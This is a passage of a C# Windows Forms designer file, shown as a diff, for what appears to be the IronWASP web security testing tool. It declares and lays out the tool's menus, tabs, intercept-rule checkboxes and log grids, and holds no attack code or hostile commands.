System.Windows.Forms.ContextMenuStrip(this.components); + this.ProxyResponseDeSerObjectToXmlMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ProxyResponseSerXmlToObjectMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ProxyRequestFormatPluginsMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.ProxyRequestDeSerObjectToXmlMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ProxyRequestSerXmlToObjectMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ConfigPanel = new System.Windows.Forms.Panel(); + this.ConfigPanelTabs = new System.Windows.Forms.TabControl(); + this.ConfigInterceptRulesTab = new System.Windows.Forms.TabPage(); + this.ConfigRuleRequestOnResponseRulesCB = new System.Windows.Forms.CheckBox(); + this.label25 = new System.Windows.Forms.Label(); + this.label24 = new System.Windows.Forms.Label(); + this.ConfigRuleKeywordInResponseGB = new System.Windows.Forms.GroupBox(); + this.ConfigRuleKeywordInResponseCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleKeywordInResponsePlusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleKeywordInResponseMinusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleKeywordInResponsePlusRB = new System.Windows.Forms.RadioButton(); + this.ConfigRuleKeywordInResponseMinusRB = new System.Windows.Forms.RadioButton(); + this.ConfigRuleContentJSONCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleKeywordInRequestGB = new System.Windows.Forms.GroupBox(); + this.ConfigRuleKeywordInRequestCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleKeywordInRequestPlusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleKeywordInRequestMinusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleKeywordInRequestPlusRB = new System.Windows.Forms.RadioButton(); + this.ConfigRuleKeywordInRequestMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.ConfigRuleHostNamesCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleHostNamesPlusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleHostNamesMinusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleHostNamesPlusRB = new System.Windows.Forms.RadioButton(); + this.ConfigRuleHostNamesMinusRB = new System.Windows.Forms.RadioButton(); + this.ConfigRuleApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.ConfigRuleFileExtensionsCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleFileExtensionsPlusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleFileExtensionsMinusTB = new System.Windows.Forms.TextBox(); + this.ConfigRuleFileExtensionsPlusRB = new System.Windows.Forms.RadioButton(); + this.ConfigRuleFileExtensionsMinusRB = new System.Windows.Forms.RadioButton(); + this.ConfigRuleCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.label10 = new System.Windows.Forms.Label(); + this.ConfigRuleContentCSSCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleCode5xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleContentJSCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleCode500CB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleContentImgCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleCode4xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleContentOtherBinaryCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleCode403CB = new System.Windows.Forms.CheckBox(); + this.label9 = new System.Windows.Forms.Label(); + this.ConfigRuleCode3xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleContentHTMLCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleCode301_2CB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleGETMethodCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleCode2xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigRulePOSTMethodCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleCode200CB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleOtherMethodsCB = new System.Windows.Forms.CheckBox(); + this.label13 = new System.Windows.Forms.Label(); + this.ConfigRuleContentOtherTextCB = new System.Windows.Forms.CheckBox(); + this.ConfigRuleContentXMLCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRulesTab = new System.Windows.Forms.TabPage(); + this.label27 = new System.Windows.Forms.Label(); + this.label26 = new System.Windows.Forms.Label(); + this.ConfigDisplayRuleApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigDisplayRuleCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigDisplayRuleContentJSONCB = new System.Windows.Forms.CheckBox(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.ConfigDisplayRuleHostNamesCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleHostNamesPlusTB = new System.Windows.Forms.TextBox(); + this.ConfigDisplayRuleHostNamesMinusTB = new System.Windows.Forms.TextBox(); + this.ConfigDisplayRuleHostNamesPlusRB = new System.Windows.Forms.RadioButton(); + this.ConfigDisplayRuleHostNamesMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox4 = new System.Windows.Forms.GroupBox(); + this.ConfigDisplayRuleFileExtensionsCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleFileExtensionsPlusTB = new System.Windows.Forms.TextBox(); + this.ConfigDisplayRuleFileExtensionsMinusTB = new System.Windows.Forms.TextBox(); + this.ConfigDisplayRuleFileExtensionsPlusRB = new System.Windows.Forms.RadioButton(); + this.ConfigDisplayRuleFileExtensionsMinusRB = new System.Windows.Forms.RadioButton(); + this.label20 = new System.Windows.Forms.Label(); + this.ConfigDisplayRuleContentCSSCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleCode5xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleContentJSCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleCode500CB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleContentImgCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleCode4xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleContentOtherBinaryCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleCode403CB = new System.Windows.Forms.CheckBox(); + this.label21 = new System.Windows.Forms.Label(); + this.ConfigDisplayRuleCode3xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleContentHTMLCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleCode301_2CB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleGETMethodCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleCode2xxCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRulePOSTMethodCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleCode200CB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleOtherMethodsCB = new System.Windows.Forms.CheckBox(); + this.label23 = new System.Windows.Forms.Label(); + this.ConfigDisplayRuleContentOtherTextCB = new System.Windows.Forms.CheckBox(); + this.ConfigDisplayRuleContentXMLCB = new System.Windows.Forms.CheckBox(); + this.ConfigScriptingTab = new System.Windows.Forms.TabPage(); + this.ConfigScriptBaseSplit = new System.Windows.Forms.SplitContainer(); + this.label14 = new System.Windows.Forms.Label(); + this.ConfigScriptPathApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigScriptPathCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigScriptPathSplit = new System.Windows.Forms.SplitContainer(); + this.label15 = new System.Windows.Forms.Label(); + this.ConfigScriptPyPathsTB = new System.Windows.Forms.TextBox(); + this.label16 = new System.Windows.Forms.Label(); + this.ConfigScriptRbPathsTB = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.ConfigScriptCommandApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigScriptCommandCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigScriptCommandSplit = new System.Windows.Forms.SplitContainer(); + this.label17 = new System.Windows.Forms.Label(); + this.ConfigScriptPyCommandsTB = new System.Windows.Forms.TextBox(); + this.label18 = new System.Windows.Forms.Label(); + this.ConfigScriptRbCommandsTB = new System.Windows.Forms.TextBox(); + this.ConfigHTTPAPITab = new System.Windows.Forms.TabPage(); + this.ConfigHTTPAPIBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ConfigRequestTypesTB = new System.Windows.Forms.TextBox(); + this.label19 = new System.Windows.Forms.Label(); + this.ConfigRequestTypesCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigRequestTypesApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigResponseTypesTB = new System.Windows.Forms.TextBox(); + this.label22 = new System.Windows.Forms.Label(); + this.ConfigResponseTypesApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigResponseTypesCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigTaintConfigTab = new System.Windows.Forms.TabPage(); + this.ConfigJSTaintConfigCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigJSTaintConfigApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigDefaultJSTaintConfigGrid = new System.Windows.Forms.DataGridView(); + this.ConfigDefaultSourceObjectsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigDefaultSinkObjectsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigDefaultArgumentAssignedASourceMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigDefaultArgumentAssignedToSinkMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigDefaultSourceReturningMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigDefaultSinkReturningMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigDefaultArgumentReturningMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigPassiveAnalysisTab = new System.Windows.Forms.TabPage(); + this.ConfigPassiveAnalysisOnProbeTrafficCB = new System.Windows.Forms.CheckBox(); + this.ConfigPassiveAnalysisOnScanTrafficCB = new System.Windows.Forms.CheckBox(); + this.ConfigPassiveAnalysisOnTestTrafficCB = new System.Windows.Forms.CheckBox(); + this.ConfigPassiveAnalysisOnShellTrafficCB = new System.Windows.Forms.CheckBox(); + this.ConfigPassiveAnalysisOnProxyTrafficCB = new System.Windows.Forms.CheckBox(); + this.label34 = new System.Windows.Forms.Label(); + this.ConfigPassiveAnalysisSettingsCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ConfigPassiveAnalysisSettingsApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.TopMenu = new System.Windows.Forms.MenuStrip(); + this.projectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.OpenProjectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.importToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ImportBurpLogToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.LogsFromAnotherIronWASPProjectFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.generateReportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.modulesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.BrowserBasedCrawlerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.DOMXSSAnalyzerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.EncodeDecodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.DiffTextToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.RenderHTMLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.WorkflowScannerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webSocketMessageFormaterToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webSocketClientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sequenceRecordingToolsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.LoginCSRFTokenSequenceRecorderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.LoadRecodedSequenceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.interactiveTestingToolsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.TestForCSRFProtectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.TestForBrokenAuthenticationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.TestForHiddenParameterToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.TestForPrvilegeEscalationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.devToolsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.codingAssistantsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.scriptCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sessionPluginCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.activePluginCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.passivePluginCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.moduleCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.scriptPluginEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uIDesignerToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.AboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ProjectFileOpenDialog = new System.Windows.Forms.OpenFileDialog(); + this.BurpLogOpenDialog = new System.Windows.Forms.OpenFileDialog(); + this.ConfigViewHideLL = new System.Windows.Forms.LinkLabel(); + this.panel1 = new System.Windows.Forms.Panel(); + this.PromptBlinkTimer = new System.Windows.Forms.Timer(this.components); + this.label43 = new System.Windows.Forms.Label(); + this.split_main.Panel1.SuspendLayout(); + this.split_main.Panel2.SuspendLayout(); + this.split_main.SuspendLayout(); + this.IronTreeMenuStrip.SuspendLayout(); + this.main_tab.SuspendLayout(); + this.mt_console.SuspendLayout(); + this.mt_auto.SuspendLayout(); + this.ASMainTabs.SuspendLayout(); + this.ASConfigureTab.SuspendLayout(); + this.ScanJobsBaseSplit.Panel1.SuspendLayout(); + this.ScanJobsBaseSplit.Panel2.SuspendLayout(); + this.ScanJobsBaseSplit.SuspendLayout(); + this.ScanDisplayPanel.SuspendLayout(); + this.ASBaseTabs.SuspendLayout(); + this.ASRequestTab.SuspendLayout(); + this.ScanJobsTopSplit.Panel1.SuspendLayout(); + this.ScanJobsTopSplit.Panel2.SuspendLayout(); + this.ScanJobsTopSplit.SuspendLayout(); + this.ASRequestScanFullTabs.SuspendLayout(); + this.tabPage20.SuspendLayout(); + this.tabPage21.SuspendLayout(); + this.ASInjectionPointTab.SuspendLayout(); + this.ASRequestTabs.SuspendLayout(); + this.ASRequestURLTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanURLGrid)).BeginInit(); + this.ASRequestQueryTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanQueryGrid)).BeginInit(); + this.ASRequestBodyTab.SuspendLayout(); + this.ASBodyInjectTypeTabs.SuspendLayout(); + this.ASBodyTypeNormalTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanBodyTypeNormalGrid)).BeginInit(); + this.ASBodyTypeFormatPluginTab.SuspendLayout(); + this.ASRequestBodyTabSplit.Panel1.SuspendLayout(); + this.ASRequestBodyTabSplit.Panel2.SuspendLayout(); + this.ASRequestBodyTabSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestFormatPluginsGrid)).BeginInit(); + this.ASRequestScanBodyTabs.SuspendLayout(); + this.ASRequestScanBodyGridTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestBodyTypeFormatPluginGrid)).BeginInit(); + this.ASRequestScanBodyXMLTab.SuspendLayout(); + this.ASBodyTypeCustomTab.SuspendLayout(); + this.ASRequestCookieTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanCookieGrid)).BeginInit(); + this.ASRequestHeadersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanHeadersGrid)).BeginInit(); + this.ASRequestParameterNamesTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASScanPluginsGrid)).BeginInit(); + this.ScanTopPanel.SuspendLayout(); + this.ScanJobsBottomSplit.Panel1.SuspendLayout(); + this.ScanJobsBottomSplit.Panel2.SuspendLayout(); + this.ScanJobsBottomSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASQueueGrid)).BeginInit(); + this.ScanQueueMenu.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigScannerThreadMaxCountTB)).BeginInit(); + this.ASTraceTab.SuspendLayout(); + this.ScanTraceBaseSplit.Panel1.SuspendLayout(); + this.ScanTraceBaseSplit.Panel2.SuspendLayout(); + this.ScanTraceBaseSplit.SuspendLayout(); + this.ScanTraceTopSplit.Panel1.SuspendLayout(); + this.ScanTraceTopSplit.Panel2.SuspendLayout(); + this.ScanTraceTopSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanTraceGrid)).BeginInit(); + this.ScanTraceBottomSplit.Panel1.SuspendLayout(); + this.ScanTraceBottomSplit.Panel2.SuspendLayout(); + this.ScanTraceBottomSplit.SuspendLayout(); + this.ScanTraceTabs.SuspendLayout(); + this.ScanTraceOverviewTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).BeginInit(); + this.ScanTraceDetailedInfoTab.SuspendLayout(); + this.mt_manual.SuspendLayout(); + this.MTFirstBaseSplit.Panel1.SuspendLayout(); + this.MTFirstBaseSplit.Panel2.SuspendLayout(); + this.MTFirstBaseSplit.SuspendLayout(); + this.MTBaseTopSplit.Panel1.SuspendLayout(); + this.MTBaseTopSplit.Panel2.SuspendLayout(); + this.MTBaseTopSplit.SuspendLayout(); + this.MTBaseSplit.Panel1.SuspendLayout(); + this.MTBaseSplit.Panel2.SuspendLayout(); + this.MTBaseSplit.SuspendLayout(); + this.TestBaseRequestSplit.Panel1.SuspendLayout(); + this.TestBaseRequestSplit.Panel2.SuspendLayout(); + this.TestBaseRequestSplit.SuspendLayout(); + this.LogMenu.SuspendLayout(); + this.panel4.SuspendLayout(); + this.MTResponseSideTabs.SuspendLayout(); + this.MTResponseTab.SuspendLayout(); + this.MTGroupHistoryTab.SuspendLayout(); + this.TestGroupHistoryBaseSplit.Panel1.SuspendLayout(); + this.TestGroupHistoryBaseSplit.Panel2.SuspendLayout(); + this.TestGroupHistoryBaseSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.TestGroupLogGrid)).BeginInit(); + this.MTHelp.SuspendLayout(); + this.mt_scripting.SuspendLayout(); + this.ScriptingShellSplit.Panel1.SuspendLayout(); + this.ScriptingShellSplit.Panel2.SuspendLayout(); + this.ScriptingShellSplit.SuspendLayout(); + this.panel3.SuspendLayout(); + this.ScriptingShellTabs.SuspendLayout(); + this.InteractiveShellTP.SuspendLayout(); + this.ShellInPanel.SuspendLayout(); + this.MultiLineShellTP.SuspendLayout(); + this.ScriptedSendTP.SuspendLayout(); + this.ScriptingHelpTP.SuspendLayout(); + this.ScriptingShellAPISplit.Panel1.SuspendLayout(); + this.ScriptingShellAPISplit.Panel2.SuspendLayout(); + this.ScriptingShellAPISplit.SuspendLayout(); + this.ScriptingShellAPITreeTabs.SuspendLayout(); + this.ScriptingShellAPITreePythonTab.SuspendLayout(); + this.ScriptingShellAPITreeRubyTab.SuspendLayout(); + this.mt_proxy.SuspendLayout(); + this.ProxyBaseSplit.Panel1.SuspendLayout(); + this.ProxyBaseSplit.Panel2.SuspendLayout(); + this.ProxyBaseSplit.SuspendLayout(); + this.ProxyBottomPanel.SuspendLayout(); + this.ProxyInterceptTabs.SuspendLayout(); + this.ProxyInterceptRequestTab.SuspendLayout(); + this.ProxyInterceptResponseTab.SuspendLayout(); + this.ProxyScriptedInterceptTab.SuspendLayout(); + this.ScriptedInterceptionBaseSplit.Panel1.SuspendLayout(); + this.ScriptedInterceptionBaseSplit.Panel2.SuspendLayout(); + this.ScriptedInterceptionBaseSplit.SuspendLayout(); + this.panel5.SuspendLayout(); + this.ScriptedInterceptionBottomSplit.Panel1.SuspendLayout(); + this.ScriptedInterceptionBottomSplit.Panel2.SuspendLayout(); + this.ScriptedInterceptionBottomSplit.SuspendLayout(); + this.ProxyHelpTab.SuspendLayout(); + this.mt_logs.SuspendLayout(); + this.LogBaseSplit.Panel1.SuspendLayout(); + this.LogBaseSplit.Panel2.SuspendLayout(); + this.LogBaseSplit.SuspendLayout(); + this.LogsTopSplit.Panel1.SuspendLayout(); + this.LogsTopSplit.Panel2.SuspendLayout(); + this.LogsTopSplit.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.LogsBottomSplit.Panel1.SuspendLayout(); + this.LogsBottomSplit.Panel2.SuspendLayout(); + this.LogsBottomSplit.SuspendLayout(); + this.LogTabs.SuspendLayout(); + this.ProxyLogTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ProxyLogGrid)).BeginInit(); + this.ScanLogTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanLogGrid)).BeginInit(); + this.TestLogTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.TestLogGrid)).BeginInit(); + this.ShellLogTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ShellLogGrid)).BeginInit(); + this.ProbeLogTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ProbeLogGrid)).BeginInit(); + this.OtherLogTab.SuspendLayout(); + this.OtherLogsTabBaseSplit.Panel1.SuspendLayout(); + this.OtherLogsTabBaseSplit.Panel2.SuspendLayout(); + this.OtherLogsTabBaseSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.OtherLogSourceGrid)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.OtherLogGrid)).BeginInit(); + this.SiteMapLogTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.SiteMapLogGrid)).BeginInit(); + this.mt_results.SuspendLayout(); + this.ResultsTabMainSplit.Panel1.SuspendLayout(); + this.ResultsTabMainSplit.Panel2.SuspendLayout(); + this.ResultsTabMainSplit.SuspendLayout(); + this.ResultsTriggersMainSplit.Panel1.SuspendLayout(); + this.ResultsTriggersMainSplit.Panel2.SuspendLayout(); + this.ResultsTriggersMainSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResultsTriggersGrid)).BeginInit(); + this.ResultsDisplayTabs.SuspendLayout(); + this.ResultsTriggerHighlightTab.SuspendLayout(); + this.ResultsRequestTab.SuspendLayout(); + this.ResultsResponseTab.SuspendLayout(); + this.ResultsTriggerToolsTab.SuspendLayout(); + this.TrigggerAnalysisToolsSplit.Panel1.SuspendLayout(); + this.TrigggerAnalysisToolsSplit.Panel2.SuspendLayout(); + this.TrigggerAnalysisToolsSplit.SuspendLayout(); + this.ResultsScanTracePanel.SuspendLayout(); + this.ResultsTriggerOptionsPanel.SuspendLayout(); + this.ResultsTriggersComparePanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.SelectForDiffTriggersGrid)).BeginInit(); + this.ResultsHelpTab.SuspendLayout(); + this.mt_js.SuspendLayout(); + this.JsTraceBaseSplit.Panel1.SuspendLayout(); + this.JsTraceBaseSplit.Panel2.SuspendLayout(); + this.JsTraceBaseSplit.SuspendLayout(); + this.JsTraceTabs.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.JsTraceResultsBaseSplit.Panel1.SuspendLayout(); + this.JsTraceResultsBaseSplit.Panel2.SuspendLayout(); + this.JsTraceResultsBaseSplit.SuspendLayout(); + this.JsTraceResultsTabs.SuspendLayout(); + this.JsTraceResultsObservationsTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsObservationsGrid)).BeginInit(); + this.JsTraceResultsNativeMethodsTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsMethodCallsGrid)).BeginInit(); + this.JsTraceResultsDomChangesTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsDomChangesGrid)).BeginInit(); + this.JsTraceResultsAjaxCallsTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsAjaxCallsGrid)).BeginInit(); + this.tabPage4.SuspendLayout(); + this.groupBox7.SuspendLayout(); + this.groupBox6.SuspendLayout(); + this.groupBox5.SuspendLayout(); + this.mt_dev.SuspendLayout(); + this.DevMainTabs.SuspendLayout(); + this.DevModulesAndPluginsTab.SuspendLayout(); + this.PluginsMainSplit.Panel1.SuspendLayout(); + this.PluginsMainSplit.Panel2.SuspendLayout(); + this.PluginsMainSplit.SuspendLayout(); + this.PluginTreeMenu.SuspendLayout(); + this.PluginEditorSplit.Panel1.SuspendLayout(); + this.PluginEditorSplit.Panel2.SuspendLayout(); + this.PluginEditorSplit.SuspendLayout(); + this.PluginsCentreSplit.Panel1.SuspendLayout(); + this.PluginsCentreSplit.Panel2.SuspendLayout(); + this.PluginsCentreSplit.SuspendLayout(); + this.PluginEditorAPISplit.Panel1.SuspendLayout(); + this.PluginEditorAPISplit.Panel2.SuspendLayout(); + this.PluginEditorAPISplit.SuspendLayout(); + this.PluginEditorAPITreeTabs.SuspendLayout(); + this.PluginEditorPythonAPITreeTab.SuspendLayout(); + this.PluginEditorRubyAPITreeTab.SuspendLayout(); + this.DevTraceTab.SuspendLayout(); + this.TraceMainTabs.SuspendLayout(); + this.SessionPluginTraceTab.SuspendLayout(); + this.SessionPluginTraceBaseSplit.Panel1.SuspendLayout(); + this.SessionPluginTraceBaseSplit.Panel2.SuspendLayout(); + this.SessionPluginTraceBaseSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.SessionPluginTraceGrid)).BeginInit(); + this.SessionPluginTraceBottomTabs.SuspendLayout(); + this.SessionPluginTraceMessageTab.SuspendLayout(); + this.SessionPluginTraceMsgBaseSplit.Panel1.SuspendLayout(); + this.SessionPluginTraceMsgBaseSplit.Panel2.SuspendLayout(); + this.SessionPluginTraceMsgBaseSplit.SuspendLayout(); + this.SessionPluginTraceLogViewTab.SuspendLayout(); + this.SessionPluginTraceSessionTabs.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.DebugTraceTab.SuspendLayout(); + this.TraceBaseSplit.Panel1.SuspendLayout(); + this.TraceBaseSplit.Panel2.SuspendLayout(); + this.TraceBaseSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.TraceGrid)).BeginInit(); + this.DevHelpTab.SuspendLayout(); + this.JSTainTraceEditMenu.SuspendLayout(); + this.MTRequestFormatPluginsMenu.SuspendLayout(); + this.ProxyResponseFormatPluginsMenu.SuspendLayout(); + this.ProxyRequestFormatPluginsMenu.SuspendLayout(); + this.ConfigPanel.SuspendLayout(); + this.ConfigPanelTabs.SuspendLayout(); + this.ConfigInterceptRulesTab.SuspendLayout(); + this.ConfigRuleKeywordInResponseGB.SuspendLayout(); + this.ConfigRuleKeywordInRequestGB.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.ConfigDisplayRulesTab.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.groupBox4.SuspendLayout(); + this.ConfigScriptingTab.SuspendLayout(); + this.ConfigScriptBaseSplit.Panel1.SuspendLayout(); + this.ConfigScriptBaseSplit.Panel2.SuspendLayout(); + this.ConfigScriptBaseSplit.SuspendLayout(); + this.ConfigScriptPathSplit.Panel1.SuspendLayout(); + this.ConfigScriptPathSplit.Panel2.SuspendLayout(); + this.ConfigScriptPathSplit.SuspendLayout(); + this.ConfigScriptCommandSplit.Panel1.SuspendLayout(); + this.ConfigScriptCommandSplit.Panel2.SuspendLayout(); + this.ConfigScriptCommandSplit.SuspendLayout(); + this.ConfigHTTPAPITab.SuspendLayout(); + this.ConfigHTTPAPIBaseSplit.Panel1.SuspendLayout(); + this.ConfigHTTPAPIBaseSplit.Panel2.SuspendLayout(); + this.ConfigHTTPAPIBaseSplit.SuspendLayout(); + this.ConfigTaintConfigTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigDefaultJSTaintConfigGrid)).BeginInit(); + this.ConfigPassiveAnalysisTab.SuspendLayout(); + this.TopMenu.SuspendLayout(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // split_main + // + this.split_main.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.split_main.Location = new System.Drawing.Point(0, 23); + 